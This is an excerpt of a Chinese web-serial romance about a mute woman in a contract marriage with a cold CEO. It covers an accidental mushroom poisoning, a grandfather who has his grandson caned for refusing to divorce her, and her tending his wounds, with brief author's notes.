苏沐:【你还敢问!瞒着我恋爱结婚就算了,说好的让我当伴娘呢?言而无信,绝交!我要跟你绝交!】 最后四个字看完,诸愿的杏眼瞪圆。 她和苏沐从特殊学校相识起就没红过脸,别说绝交,就连重话都没说过几句。 【对不起对不起对不起!】她连忙打了三个道歉,指尖在屏幕上磕磕绊绊,【事情很复杂,我们见面说好不好?】 苏沐秒回了个“地址发我”,却没消弭诸愿的恐慌。她换衣服时才突然反应过来:苏沐又是怎么知道她结婚了? 一个荒谬的猜测浮上心头:昨晚她醉得不省人事,苏沐接了顾识弈的电话,两人一对身份,这场隐瞒了三个多月的协议婚姻,就这么稀里糊涂地曝光了…… 诸愿瘫坐在换衣凳上,觉得自己彻底完了。 午后的咖啡店飘着浓郁的焦糖甜香,诸愿攥着手机,指腹把屏幕都磨热了,脑子里的解释腹稿改了又改。 可当苏沐推开玻璃门,看到她板着的脸时,所有的措辞都卡住了。 “哭什么?”苏沐本想摆出冷脸,看见她眼眶红红的掉眼泪,瞬间破功。 她抽了张纸巾往少女脸上糊,“我说绝交是气话!又不是真的!”话锋一转,语气又硬起来,“但你结婚这事,必须给我个交代。” 诸愿赶紧比划手语:〈不是真的,只是协议结婚!〉 她把哥哥住院、父亲逼婚、和顾识弈签一年协议的事一股脑全倒出来。 谁知,苏沐听完“啪”地一声拍响桌子,“你爸还是人吗?!” 声音大得邻座都看过来。 好不容易按住炸毛的好友,苏沐又盯着她问:“所以你们是协议夫妻?一年后散伙?” 〈还有二百六十三天。〉诸愿比出数字,指尖的动作快得不像刻意记过,连她自己都愣了下。 苏沐“哦”了一声,忽然恍然大悟似的:“难怪上次在服装店,你俩一直眉来眼去,还装不认识。原来那时候就已经是夫妻了!” 〈我怕你多想……〉诸愿心虚地低下头。 “算了算了,”苏沐摆摆手,眼底又闪过心疼,“都怪我前段时间忙着升职,没顾上你。” 诸愿反倒笑了,比划:〈我不亏的,结个婚不仅脱离苦海,还能拿到顾氏三成增值,以后哥哥的手术费也有着落了。〉 苏沐却没笑,想了想,忽然凑近了些:“你那个老公……对你好吗?” 〈挺好的,就是性子有点冷。〉诸愿实话实说,指尖无意识地蜷了蜷。 “我看他对你不一般,”苏沐突然挤眉弄眼,笑得像发现了什么秘密,“昨天他抱起你的时候,那小心翼翼的样子,跟捧着易碎品似的。” 诸愿赶紧摇头:〈他就是……关照合作对象。〉 毕竟像顾识弈那样站在金字塔尖的人,怎么会喜欢她这个连话都发不出的残疾人呢? 苏沐却不以为然:“你长得好看,性格又软,他不喜欢你是他没眼光。再说了,先婚后爱多带感啊!” 诸愿被她说得脸热,脑海里竟不合时宜地闪过顾识弈曾经抱她的画面。 可转念一想,昨晚她喝得酩酊大醉,今晚能逃过他的冷脸训话就谢天谢地了,哪还有心思想这些有的没的。 两人误会解开,又聊了些生活琐事,喝过下午茶便各自回家。 诸愿回到万宜时刚过五点,看见静姨在厨房择菜,忽然冒出个念头。 或许可以做点什么,让顾识弈别再生她的气? 她进厨房让静姨今晚回家休息,晚饭自己亲自下厨。 静姨拿青菜的手顿了顿:“太太会做饭吗?” 诸愿用力点头,心里打着小算盘:她学东西向来被人夸快,照着菜谱来,总不至于搞砸。 静姨拗不过她,只好反复叮嘱:“有不懂的随时给我发信息,千万 别烫着。” 诸愿点头如捣蒜,静姨这才解开围裙离开。 看着备餐台上洗好的菜,诸愿选了两菜一汤的食材,点开教学视频,开始依葫芦画瓢。 她先炒空心菜,热油爆香蒜末的瞬间,香气窜得满厨房都是。 诸愿瞅准时机把菜倒进去,学着视频里的样子颠勺,动作竟有模有样。 三分钟后,一盘翠绿的时蔬出锅,卖相好得让她自己都惊讶,忍不住弯了弯唇。 正得意时,鼻尖突然钻进焦糊味。 回头一看,刚才炒菜的锅忘了关火,锅底正冒着白烟。手忙脚乱地泼了勺水进去,“呲啦”一声,油烟腾起又迅速散去,她抹了把额角的汗,暗自庆幸没把厨房点了。 接下来是红烧排骨。把静姨剁好的排骨倒进锅里,油星子“噼里啪啦”溅起来,吓得她赶紧退开半步,隔老远用锅铲小心翼翼地扒拉。 加酱油时更是谨慎,先倒在碗里,再一点点往锅里加,直到浓郁的肉香漫出来,她才松了口气,嘴角忍不住翘得更高。 旁边的菌菇汤也炖得差不多了,掀开砂锅盖,雪白的菌子浮在奶白的汤里,香气勾得她直咽口水。 可一想到这是给顾识弈准备的,得让他先尝第一口,硬是把馋虫压了回去。 正打算把所有的菜端出去,转身的瞬间,撞进一双深邃的眼眸里。 顾识弈不知站在厨房门口多久了,黑色西装还没换下,领带松垮地挂在颈间。 四目相对的刹那,诸愿的脸像被火燎过,瞬间烧得通红。 他该不会……把她刚才手忙脚乱的样子全看见了吧? 顾识弈却先移开视线,掩饰般地咳嗽两声,语气有些不自然:“怎么是你在做饭?” 他说着,竟径直走进来,伸手端起流理台上的菜盘。 诸愿赶紧解下围裙去洗手,跟在他身后走出厨房,手机上打字解释:【突然想试试。】 两人坐在餐桌前,空气里弥漫着微妙的沉默。这场景就像寻常夫妻:丈夫下班回家,妻子备好饭菜,连空气里都飘着点笨拙的温馨。 诸愿怕再僵持下去,菜都要冷了。赶紧舀了碗蘑菇汤递过去,眼睛亮晶晶地盯着他。 顾识弈接过汤碗时,指尖不小心碰到她的,两人都像触电般猛地缩回手。 他低头喝了一口,再抬眸时,诸愿清楚地看到他耳根泛红。 肯定是汤太好喝了! 她美滋滋地想,也给自己盛了一碗,刚要送到嘴边,手腕突然被轻轻攥住。 力道不重,却带着阻力。 她愣了一下,抬头看见顾识弈骤然紧绷的下颌线。 他正盯着她的汤碗,眉头拧成个川字,刚才还泛着红的耳根此刻褪得发白。 “别喝。”他声音艰涩,像被砂纸轻轻磨过,像在忍耐什么,隔了半秒才续上后半句话:“菌子没熟。” 第20章 顾识弈的话音落地,手腕便像抽走所有力气般垂落。 诸愿眼疾手快地反手攥住,触到那片滚烫却虚软的肌肤,慌得下意识张口问他哪里疼。 出声却只有不成字又难听的“啊啊”声。 诸愿猛地闭上嘴,转而比划起手语。 可顾识弈凝着她的手,几秒后,喉间溢出一声喑哑的低叹:“诸愿,我看不懂。” 这句话像根细针,精准扎进她的心脏。 诸愿僵在原地,手还维持着比划的姿势,连指尖在颤抖都没意识到。 这是第二次,她如此痛恨自己无法开口说话。 “打电话给林正。”顾识弈再开口,声音比刚才又弱了几分,像是随时都会晕倒。 诸愿立刻回神,将翻涌的难过暂且压进心底,手忙脚乱地抓过桌上的手机。 拨号键刚按完,电话一秒接通,林秘书疑惑的声音从听筒里传来:“太太?” 他显然意外,诸愿不会讲话,往常有事都是发信息,这次怎么会主动打电话? 诸愿也后知后觉地想起自己声哑无法回应,手机贴在耳边,无措的像做错事的孩子。 下一瞬,一只温热的手覆上她的手背。 顾识弈轻轻将手机移到自己唇边,声音虽弱却清晰,带着惯有的冷静:“叫救护车到万宜。” —— 诸愿再次踏入医院,移动病床上的人却换成了顾识弈。 手术室的灯亮起,刺得她眼睛发疼。 林秘书看着紧闭的手术室大门,转头便见交握着手、脸色比走廊的白墙还要惨淡的少女。 他暗自叹气,若是以前,定会以“故意伤害老板”为由把人看住。可想到自家那位从不休假的工作狂老板,竟在上班时间推掉所有重要事务,陪少女去滑雪馆教了整整一周,便知如今早已不同。 “太太,顾总运气一向很好,肯定会没事的。”他轻声安慰。 诸愿过了好一会儿才木然点头,双唇抿成一条紧绷的直线。 半小时后,手术室的灯终于熄灭。诸愿和林秘书同时从椅子上起立,林秘书代为开口:“医生,情况怎么样?” “患者是食用了未煮熟的菌菇导致的食物中毒,我们已经做了清胃手术,等他清醒再休养几天就没事了。”医生摘口罩的动作顿了顿,补充道,“下次一定要注意,菌菇必须彻底煮熟才能食用。” 林秘书闻言有些意外竟是“没煮熟”这样的原因,下意识朝诸愿看了一眼。 诸愿抬起头,眼底最后一点侥幸也散了。 早在顾识弈说“菌子不熟”时,她就猜到是自己亲手炖的蘑菇汤有问题。 她没法说话,只能对医生轻轻点头,表示自己记住了。 做完手术的顾识弈被护士推出来,诸愿走上前。 麻药还没退,顾识弈闭着眼,眉头微蹙。即便在昏迷中,眉眼间仍带着平日的冷硬,只是现在被苍白削弱了几分,倒显出几分脆弱。 诸愿的心像被无形的手紧紧揪着,疼得她想哭。 她强忍着才没真的哭出来,在心底默默祈祷着:只要顾识弈没事,让她做什么都愿意。 —— 顾识弈的身体素质向来好,极少生病,这次却因一碗未熟的蘑菇汤,昏迷了整整一天一夜。 第二天下午,静姨提着营养餐走进病房时,正看见诸愿端着一盆水,用毛巾细细擦拭着顾识弈的脸庞。 她动作轻柔,指尖刻意避开顾识弈的眉眼,连下颌线都照顾到了,熟练得不像新手。 “太太以前也照顾过病人吗?”静姨忍不住问。 诸愿的动作顿了顿,眼底掠过一丝不易察觉的黯淡。 没和顾识弈领证前,她每天都会去医院照顾哥哥,看护工做的次数多了,自己也慢慢学会了这些。 三年下来,这些小细节便成了刻在骨子里的习惯。但她只是对静姨笑了笑,没多解释。 顾识弈中毒本就是她的错,照顾他是应该的,没必要提过去的事。 她转身去倒洗脸水,刚把盆收拾好,便听见卫生间外传来静姨激动的声音:“顾总您醒了!”紧接着是林秘书松了口气的话:“顾总,您终于醒了。” 诸愿心里一瞬间又喜又怕,喜的是他终于醒了,怕是他醒来后会生气发火、骂她“害”他。 以前她闯的祸,顾识弈都轻轻放过了,可这次,他都进抢救室了,一定不会再原谅她了。 她甚至开始想:要不要去见哥哥最后一面,不然真出了什么事,哥哥该怎么办。 双脚像灌了铅,诸愿缩在卫生间里,怎么也迈不出去。直到外面突然安静下来,她才疑惑地探出头,恰好与调成坐躺姿势的顾识弈对上视线。 而静姨和林秘书,不知何时已经悄悄离开了病房。 她僵住,难道是顾识弈特意支开人,要单独教训她? 诸愿踟躇了一会,还是硬着头皮走出去。 刚站定在床边,就见顾识弈动了动唇,怕听到指责,她赶紧比划手语:〈渴吗?要不要喝水?〉 不等顾识弈有没有看懂和回应,她转身就跑向桌边,手却因慌乱而发抖,滚烫的水滴溅在手背上,刺痛瞬间传来。 她闷哼一声,积压了一天一夜的害怕、愧疚与委屈终于决堤。眼泪顺着脸颊滑落,砸在手背上,与烫意交织在一 起。 诸愿自己也愣住了,顾识弈受了这么大罪都没哭,她一个做错事的人,有什么资格掉眼泪?要是被顾识弈看见,以为她在卖惨,肯定更讨厌她了! 她赶紧用手背去擦,可眼泪越擦越多,像断了线的珠子,根本控制不住。 “再擦,脸要被你搓破皮了。”顾识弈的声音突然在身后响起,带着刚醒来的沙哑,却没什么怒气。 诸愿一下愣住了,下意识回头,一张挂满泪水的脸就这样毫无保留地暴露在他面前。等她反应过来想躲,已经晚了。 “为什么哭?”顾识弈问,目光落在她泛红的眼尾,眉峰微蹙。 被他这么一问,诸愿原本止住的泪珠又想掉了。 她压低脑袋掩盖神色,又用力地摇头想表达“没事”,却连一句辩解的话都发不出。 顾识弈的眉头越蹙越紧,她不得不拿起手机,指尖飞快地打字:【我害得您食物中毒,对不起!您要我做什么都可以。】 顾识弈盯着屏幕看了许久,病房里只剩两人的呼吸声,安静得让人心慌。 诸愿的心越提越高,以为他现在才想起是那碗蘑菇汤害他躺在这里的。 正准备接受他的惩罚时,却听见他开口:“你又不是故意的,还是说你一开始做饭有其他目的?” 诸愿眼睫眨得飞快,瞬间想起做饭的真正原因:她骗李叔说加班,实际去了酒吧,还喝得酩酊大醉。醒来怕顾识弈生气,才想做顿晚饭弥补,没成想闯了更大的祸! “在想什么?”顾识弈的声音拉回她的思绪。 诸愿慌忙低头打字,手指因紧张飞快跳动,没来得及检查就递了出去。 顾识弈看完,语气意外坦诚:“抱歉,但我不是故意带你回我卧室的。你的房间上锁了,我不知道密码,所以才带你去了我的房间。” “还有,我睡的是客卧,你不用担心。” 诸愿彻底懵了,她做错了那么多事,到头来竟是顾识弈在跟她道歉?!还提什么房间上锁? 她拿回手机,想打字问“什么意思”,可看到屏幕上的字时,就像被雷击般顿住。 只见屏幕上赫然显示着:【静姨,顾总有说为什么把我带到他床上睡觉吗?】 这是她昨天早上想问静姨、却没敢问出口的话。刚才手速太快,又太着急,竟不小心滑到了之前的备忘录! 再联想顾识弈的解释,她忽然想起,自己因为怕他,每晚睡觉都会反锁卧室门。 直到有天晚上在书房睡着,顾识弈没叫醒她,直接把她抱回了卧室。 从那以后,她连出房门都会上锁。 可前天她醉得不省人事,顾识弈恐怕想叫她,也叫不醒。 诸愿尬尴地抬眼看向顾识弈,耳根烫得能煎鸡蛋。他会不会觉得自己自作多情?会不会偷偷笑话她? 她攥紧手机,顾识弈却像没往这方面想,语气自然地换了个话题:“昨晚是你陪的床?” 诸愿吸了吸鼻子,想起昨晚那张硌得人辗转难眠的陪护床,又想起之前她生病时,顾识弈陪了她大半个月,却从没抱怨过一句。 对比之下,她更觉愧疚,自己不仅不感恩,还害他遭了这么大罪。 她轻轻点头。谁知顾识弈道:“那我们两清了。” 诸愿不可置信地睁大了眼。 “所以,”顾识弈又道,神色难得不自然,“别哭了,我并不怪你。” 诸愿的眼泪又涌了上来。 她从没想过,顾识弈的脾气居然会好到这种程度。 连进了抢救室都能轻易原谅她! 这毫无底线的模样,实在不像她当初以为的、那个冷酷无情的顾氏总裁顾识弈! 她心里忽然冒出一个念头:顾识弈的底线在哪里? 或者说—— 对她有底线吗?—— 作者有话说:顾识弈:毫无底线[墨镜] PS:今天立冬哦,祝宝子们立冬快乐~ 也提醒宝子们,明天下午三点就开奖啦,评论区的大概在明天下午六点前发完~ 感谢一路支持~[撒花][撒花][撒花]《 》 20-30 第21章 诸愿走出向梦,外面的热风袭来,指尖在手机屏幕上敲得轻快:【你有没有想吃的美食,我给你带!】 自从顾识弈一句“不怪你”翻篇了食物中毒的事,诸愿就暗下决心:他对她好,她便加倍还回去。 正想着,屏幕亮了,顾识弈的回复简炼得只有两个字:【不吃。】 刚焉下去的情绪还没散,第二条消息又紧跟着跳出来:【香蕉。】 诸愿眼睛变得清亮,转瞬又狐疑。 今早离开病房时,她明明看见林秘书拎着满满一篮子新鲜水果进去,里面没有香蕉吗? 转念又想,万一,里面刚好没有香蕉呢? 反正她都是想为他做事,现在人家有想吃的东西了,她在这里质疑,显得心一点也不诚。 她立刻回了个笑脸emoji加:【好!】 公司楼下,她环顾寻找李叔的车,一道身影忽然出现在眼前。 那是个三十岁左右的女人,墨蓝色的制服上绣着醒目的“顾”字,一看就是顾家的人。 “诸小姐。”女人微微鞠躬,语气却带着强硬:“顾老先生请您去趟顾宅,还请不要拒绝。” 话音刚落,两名穿西装的壮汉已站到她两侧,目光锐利地锁定她。 诸愿松开了准备按报警的手,强压下心底的胆怯,弯腰上了她们的车。 对方能在她公司楼下蹲点,必然已经摸清了她的情况,也能应对她反抗的办法。 李叔此刻不见踪影,就是最好的证明。 更重要的是,“邀请者”是顾老先生,作为顾识弈法律上的妻子,她料想对方不会轻易动手。再加上见顾家长辈,本就在扮演“顾太太”的职责里,她理应同意。 车子驶出市区,往郊区的顾家老宅开去。 秋初的风裹着凉意灌进来,道路两旁的树叶早已染上浅黄,沿着盘旋的山路行至半山腰,雕花铁栏缓缓向两边打开,一座气派的庄园赫然映入眼帘。 喷水池在夕阳下泛着碎金,大门下站着两排身着同款制服的佣人,神色肃穆得吓人。 “诸小姐,请。” 女人引着她往书房走,推开门的瞬间,墨香混着檀香扑鼻而来。顾老先生正站在红木书桌前挥毫,笔锋落下,衬得整个房间愈发沉静。 “顾老。”女人颔首低眉,声音放得极轻。 老人虽过古稀,头发却黑得发亮,唯有抬头时,那双浑浊如雾的眼睛,才泄出几分岁月的风霜。 “来了。”他搁下毛笔,语气听不出情绪:“正好到饭点,去餐厅吧。” 精致的餐食很快摆满长桌,诸愿坐在丝绒椅上,看着主位上的顾老先生,指尖下意识绞桌布。 顾老先生请她来,不会只是请她吃饭吧? 毕竟她和顾识弈已经领证三个月了,前面那么久不请,偏偏在他住院时请,怎么都感觉不对劲。 无数疑问在心里打转,她却不敢问。 终于,老人放下筷子,目光扫过来,声音沉沉的:“诸小姐,你和识弈认识多久领的证?” 诸愿握筷的手紧了紧,随即又松开,神色平静地看向老人。 就见老人指了指身后站着的老管家:“忠叔会手语,你比划即可。” 事已至此,装聋作哑已是徒劳。诸愿抬起手,缓缓比出:〈半个多月。〉 她心里清楚,以对方的实力,定能查到她当初是被绑进顾家的。与其撒谎被戳破,不如实话实说。 “时间这么短,你喜欢识弈吗?”老人的目光犹如实质般落在她脸上,带着审视的压迫感。 诸愿掐了掐掌心,才没让自己露怯。 她故意扯出一抹羞涩的笑,比 划:〈刚开始不熟悉确实不喜欢,但现在很喜欢。〉 不想再被反复试探,她硬着头皮补充,指尖动作刻意放得坚定:〈阿弈跟我承诺,他很喜欢我,愿意把命都给我,我觉得他是个好男人。〉 这话是从同事刷的短视频里学来的,她想,若让老爷子觉得她是个“恋爱脑”,半个月领证,或许就没那么可疑了。 可下一秒,“啪——”的一声,顾老爷子突然手拍餐桌,杯盘剧烈震颤,汤水溅在洁白的桌布上,晕开深色的印子。 诸愿吓得猛地站起,却见周围瞬间冒出几个保镖,目光警惕地盯着她。 她又赶紧坐下,颤抖着重新拿起筷子。 这或许就是她最后一顿饭了,就算是死,她也要做个饱死鬼。 与此同时,医院病房里,顾识弈推拒了静姨递来的香蕉,指尖握着的手机还亮着,停留在诸愿回复的“好”字上。 忽然,林秘书匆匆闯进来,声音发颤:“顾总,太太被……被顾老先生‘请’去顾宅了。” 顾识弈的眉眼骤然下沉,周身气压降至冰点。 他一把拔掉手背上的输液针,不顾护士阻拦,起身就去穿鞋,语气冷得像冰。 “开车。” 暮色彻底裹住大地时,顾宅却灯火通明。 顾老爷子刚拿起毛笔,就听见忠叔在门口躬身道:“老爷,少爷来了。” “他倒会踩着点来。”老人冷哼一声,扔掉毛笔,拄着拐杖往外走:“我去会会这位大忙人。” 客厅里,保镖围成圈,顾识弈立于包围中心却毫无惧色。 身上的病号服已换成惯常的西装,身姿笔直得像棵松。 听见脚步声,他抬眼看向来人,声音像是从胸腔里挤出来:“诸愿呢?” “跟我说话用这种语气?”顾老爷子拄着拐杖的手青筋暴起,重重戳向地面,“我是你爷爷,还能害了她不成?” 顾识弈垂在身侧的手攥成拳,又缓缓松开,语气平静而淡漠:“您是她长辈,自然不会。” “她也算孙媳妇?”老人突然暴怒,脸色涨得通红,“我让你联姻,是让你娶个哑巴?你这是存心给顾家蒙羞!明天就去离婚!” “催我结婚的是您,现在要我离婚的也是您。”顾识弈喉间溢出一声冷笑,睫毛在眼下投出细碎阴影:“我绝不离婚。” “逆子!”老人扬起拐杖,被忠叔急忙拦住,劝道:“少爷,您就顺着老爷说两句吧。” 顾识弈挺直脊背,西装下的肩线冷硬如刀,“要我离婚,除非我死!” 顾老爷子剧烈咳嗽起来,手指颤抖着指向他:“好好好,你硬气,来人,上家法!” “少爷——”忠叔大喊。顾识弈却置若罔闻。 保镖很快拿来藤条,候在一旁。 老人看着顾识弈,语气放软了些:“你这么坚定,就不怕她心里想的和你不一样?你可知她刚领证没多久,就偷偷去医院买了助孕药?她就是想母凭子贵!” 他以为这话能戳中顾识弈,却见对方一闪而过的惊讶后,竟淡淡道:“她愿意为顾家延续子嗣,难道不好?” 顾老爷子彻底愣了,随即气得破音:“你的意思是,我还得偷着乐?!” “顾家有后,您才能对得起列祖列宗。”顾识弈的话,正是当初顾老爷子催婚时说过的。 这一回,老人是真的气极了,怒喊:“打!给我打死这个逆子!” 藤条抽在身上的闷响立刻回荡在客厅,角落的佣人们缩成一团,顾识弈却始终站得笔直,仿佛感觉不到疼痛。 几十下后,深灰色衬衫的背部渐渐渗出暗红,连空气都飘着淡淡的血腥味。更不要说,前天晚上顾识弈才刚做完一场手术。 另一边,诸愿饭后被带进了顾宅的藏书室,房间里没有窗户,头顶的灯又亮得刺眼。 她手机被缴了,只能抱着膝盖坐在书桌后发呆。 忽然,房门被轻轻推开,有人迈着沉重的步伐走进来,声音带着熟悉的沙哑:“诸愿。” 诸愿猛地抬头,看清来人是顾识弈后,眼底瞬间漫上水光。 她踉跄着起身,却在看见他身后的忠叔时骤然僵住,手不自觉地抓住顾识弈的手臂,像抓着救命稻草。 顾识弈顺着她惊恐的视线看向忠叔,不着痕迹地将她往身后带了半寸,喉结滚动着吐出三个字:“回家了。”声音低沉却裹住了她所有不安。 两人刚抬步,忠叔却开了口:“少爷,医生快到了,等等再走吧。” 诸愿的指甲几乎掐进顾识弈的皮肉,下一秒,便感觉到他的手覆上了自己冰凉的手背,掌心的温度顺着她颤抖的指节蔓延。 她能察觉到,顾识弈西装下的肌肉紧绷如弦,透着一股隐忍的张力,可当他低头望过来时,眼尾却染上了一丝温柔。 “相信我。” 直到黑色迈巴赫彻底驶出雕花铁门,诸愿紧绷的脊背才轰然松懈。 身旁的顾识弈递来她的手机,向她道歉:“抱歉让你受惊了,精神损失费已经打到你卡上,不够再跟我说。” 诸愿闻言查看信息,果然有一笔不菲的金额入账。 她不禁想,照这个来钱速度,根本不用等一年后拿那三成增值,单靠这些费用,就能成为富婆了。 这一天的跌宕经历耗尽了诸愿的精力,车子还没停稳,就沉沉睡去。 迷迷糊糊间,有人在唤她的名字:“诸愿,诸愿……” 她费力睁开一只眼,看清是顾识弈,瞬间清醒过来。 “到了。”他打开车门。 诸愿跟着下车,手机忽然“叮咚”响了一声,是副驾驶的林秘书发来的:【太太,顾总是私自拔了吊针来找的您,医生说他还不能出院,您劝劝他吧。】 她这才看见,顾识弈的手背上有道划伤的长条红色伤口,周围还泛着淤青。 难怪忠叔说要等医生,原来是要替他处理伤口。 眼见着顾识弈要踏入家门,诸愿想也不想就伸手去拉他的衣袖,想让他回医院。可脚步太急,左脚绊了右脚,整个人往前扑去,重重压在了顾识弈背上。 顾识弈人高马大,她下意识觉得他能接住自己,可下一秒,就听见他“嘶”地吃痛一声。 诸愿尴尬地直起身,正要拿手机打字道歉,却先感到手掌滑腻。 她摊掌一看,指尖竟变成了暗红色。 诸愿盯着自己的手,又看了看顾识弈的背部,脑子里冒出一个不可思议的念头:堂堂顾氏总裁,穿的衣服竟然掉色? 还掉得这么严重!—— 作者有话说:今天开奖哈[撒花][撒花][撒花] 第22章 诸愿站在顾识弈卧室门口,攥紧的指尖还沾着水洗过的凉意。 门缝漏出的暖光里,男人正脸埋在枕间,裸着的上半身趴在床榻上。 肩背线条冷硬利落,是常年锻炼出的紧实轮廓,可现在却被几道伤口生生划破,像完整的雕塑添了几道裂痕。 顾家的私人医生正弯腰站在床边,镊子夹着浸了药水的棉花,轻轻擦拭那些尚未结痂的伤口。 空气里飘着淡淡的药味,还夹杂着一丝若有若无的血腥味,闻得人鼻腔发紧。 她有一瞬恍惚:小时候哥哥为了圆她的好奇心,瞒着父亲偷偷带她去前厅的宴会,事后被父亲用藤条抽得后背鲜血淋漓,还罚在祠堂跪了整整一夜。 那时哥哥背上的伤,也是这样触目惊心。 顾识弈……也是因为她,才被顾老罚的吗? “哭什么?” 冷不丁的声音拽回思绪,诸愿抬手一摸,才发现脸颊早已湿成一片。 顾识弈偏过头看她,黑眸里辨不出情绪,只淡淡开口:“想看就进来。” 不,她不想看。 一看就会想起哥哥当年疼得浑身发抖的模样,心脏像被揪着似的疼。 “进来。”顾识弈又说。 诸愿没有理由不进去了,脚步拖沓着上前,视线刚触到那皮开肉绽的后背,呼吸就一紧,泪水夺眶而出,砸在衣襟上晕开一小片水渍。 她慌忙 移开目光,落在顾识弈带了些倦意的脸上,指尖无意识地蜷了蜷。 顾识弈望着那滴砸在衣襟上的泪珠,心口莫名一疼,竟比后背的伤还甚。 喉咙滚了滚,他下意识问:“心疼我?” 他没指望答案,却见诸愿毫不犹豫地点了头,眼里还带着未散的水汽。 顾识弈猛地撑起上半身,目光紧紧锁着她,胸腔里的心脏跳得飞快,震得耳膜嗡嗡发鸣。 他突然想起爷爷说的——诸愿领证没多久,就偷偷买了助孕药,还有忠叔提的,她当着爷爷的面比划现在很喜欢他。 诸愿不懂顾识弈为何突然起身,只觉得他眼里翻涌的情绪像深海,漆黑又汹涌,让她看不透。 她不会说话,只能上前轻轻推了推他的肩膀,示意他躺下继续让医生上药。 顾识弈倒是躺回去了,目光却没离开她,声音轻却笃定:“我知道了。” 诸愿歪了歪头,眼里满是疑惑:知道什么了? “月底的时间空出来。”顾识弈突然岔开话,语气有些含糊,像在掩饰什么。 她本想问缘由,转念一想,这三个月以来,顾识弈待她像做“慈善”,很少真的要她做什么,空出时间,恐怕和上次酒吧周年庆一样、陪他出席些活动罢了,加上月底本就休假,她便乖巧点头应下。 一直被晾在旁边的医生终于找到机会,上前交代了几句注意事项,末了体贴道:“顾总,伤口不能碰水,这几天擦背就行,您自己抹不了药膏,可以让太太帮忙。” 他和外人一样,以为这对新婚夫妻伉俪情深,说这话时便没半分避讳。 两人对视的瞬间,顾识弈刚要开口,诸愿却先想起上次滑雪馆的事——那时她没主动配合,被他冷着脸说“你就是这样扮演‘顾太太’的?” 这次她学乖了,抢在他前头点头,还比了个“OK”的手势,直接打断了他的话。 反正有静姨在,顾识弈肯定不会真要她上药,不过是在外人面前演戏罢了。 她不知道,顾识弈看着她主动的模样,心里更笃定了“诸愿喜欢他”的想法。 —— 次日一早,诸愿到公司时,摄影棚还没准备好,一群模特凑在沙发区嘻嘻哈哈地聊天。 大家知道她不会说话,都格外照顾她。一个穿粉色裙子的女生递来个小面包,笑着说:“听说要拍五个小时,午饭得延后,这个你先拿着垫肚子。” 诸愿笑着点头,比了个“谢谢”的手势,坐在女生旁边听她们聊天,偶尔被问到,便轻轻点头回应。 忽然有人掏出手机,扬声道:“月底七夕,约了我的crush,你们帮我看看,哪款香囊能表心意?” 屏幕上是某宝界面,标题写着“刺绣手工香囊DIY材料包”,里面摆着各式各样的图案。 有人惊呼:“你要自己做啊?” “亲手做的才显得有诚意嘛。”女生戳着屏幕,又问:“你们说选‘平安’还是‘开心’?” 其他人笑作一团:“选‘暴富’啊!谁不爱钱?” “我选‘吃不胖’,实用~” “有没有‘水逆退散’?我最近倒霉透了!” 吵了半天没个结果,女生只好叹道:“还是我自己琢磨吧。” 诸愿坐在旁边,若有所思。 下班回家,刚进别墅大门就听见静姨说:“太太,客厅的茶几上有您的快递,刚送过来的。” 诸愿眼睛一亮,快步走过去,果然见是上午下单的香囊DIY材料包。 红色的布料裹着棉线和绣绷,看着格外喜庆。 静姨端来水果盘:“太太,您先吃点,晚饭快好了。对了,顾总说今晚加班不回家吃饭。” 诸愿正低头检查材料,闻言只是点头,并不在意。 独自吃过晚饭,她快速地洗完澡,便开心地盘腿坐在床上准备绣香囊。刚穿好针线,就听见楼下传来静姨的问候声。 顾识弈回来了。 诸愿得出这个结论,手没停地点开手机视频教程,没影响的边观看边试着绣出第一针。 半小时后,卧室门被敲响。 诸愿正巧换线,放下手中的工具,下床开门。 门外,顾识弈只穿了件浴袍,发梢还滴着水,像是刚洗完澡。 她疑惑地看着他,不明白这么晚了,来做什么? 顾识弈开口,语气有些怪异:“我洗完澡了。” 诸愿虽困惑,但还是点头表示知道了。可他说完却没走,盯着她,嘴唇动了动,像是还有话没说出口。 她眨了眨眼,满眼问号。 顾识弈没办法,只能硬着头皮提醒:“您不是答应医生,帮我上药吗?” 其实当时若不是诸愿抢着应下,他就让医生留下了。 诸愿却是愣住了,杏眼睁得圆圆的。 她当时只是想在外人面前演戏,就像上次他在滑雪馆说“我只教我老婆”,哪想到他会当真? 而且,不是还有静姨吗? “静姨不知道我受伤,”顾识弈看穿了她的心思,语气也软了些,“我不想让她担心。” 诸愿想起静姨要是知道了,定会唠叨个不停,懂了他的言外之意。 她咬了咬唇,只好拿出手机打字:【我现在帮您抹药。】 两人去了书房,顾识弈脱下浴袍,露出嵌在精壮肌理上的血痕。 相较昨日,伤口泛着淡淡的红肿,看起来竟更显触目惊心。 诸愿忍不住倒吸一口凉气,哥哥那时候就疼得发抖,顾识弈现在肯定也疼。 她满心疼惜,打开药膏,照着说明书上的用量,轻轻地抹上去。 顾识弈背对着她坐在椅子上,脊背绷得有些紧。 他不是第一次被她上药,不怕她力道没轻重,可这次,后背总有些发痒,连带着心跳都慢了半拍。 他忍不住回头,就见诸愿皱着眉,眼神专注得像在研究什么科研难题,连下唇都被自己咬得发红。 察觉到他的目光,诸愿抬起头,两人视线撞个正着。顾识弈看见她松开下唇时,那抹潋滟的红。 诸愿不懂他为何盯着自己看,又见他喉结滚动,只当自己弄疼了他,在忍痛,又因为找不到第二个人可以帮他上药,只好忍气吞声。 她羞愧地低下头,之后动作更轻,手速也放得更慢,指尖触碰他后背时,更是小心翼翼,生怕再碰疼他。 等擦完药,顾识弈像是有急事,只匆匆道了声谢,便拿着浴袍转身离开了书房。 诸愿知道他这是忍得一刻也呆不下去,所以才走的这么快。 她沮丧地叹了口气,但这也是没办法的事。又想到房间里还等着要绣的香囊,便把这事抛之脑后了。 第二天晚上,诸愿知道还要去书房上药,加上昨晚抹完药回去绣香囊,今早起来颈椎又酸又疼,她干脆把刺绣的工具都搬到了书房里。 这样既能上药,又能绣香囊,一举两得。 深夜,顾识弈加班回来,看见书房亮着灯,便先回卧室洗澡,换了身家居服才往书房走。 刚到门口,就听见里面传来女声:“您这绣的确定是香囊?”“算了,只要是你做的,他肯定喜欢,别担心。” 这声音,是上次酒吧见过的、诸愿的朋友? 他没打算偷听,可话已经飘进耳朵里,正想回避,这时,书房里的诸愿看见了自己站在门口。 她慌忙挂断视频,起身打开医药箱,要给他上药。 顾识弈只好走进去,脱下外衣坐在椅子上。 他后背对着她,目光却落在桌角——那里多了个小篮子,盖着块白色微透的布,隐约可以看见里面的红色布料。颜色鲜得有些扎眼,还有点土气。 他猜,这就是诸愿要送人的香囊。 是要送给谁? 顾识弈的眉头不自觉皱紧。 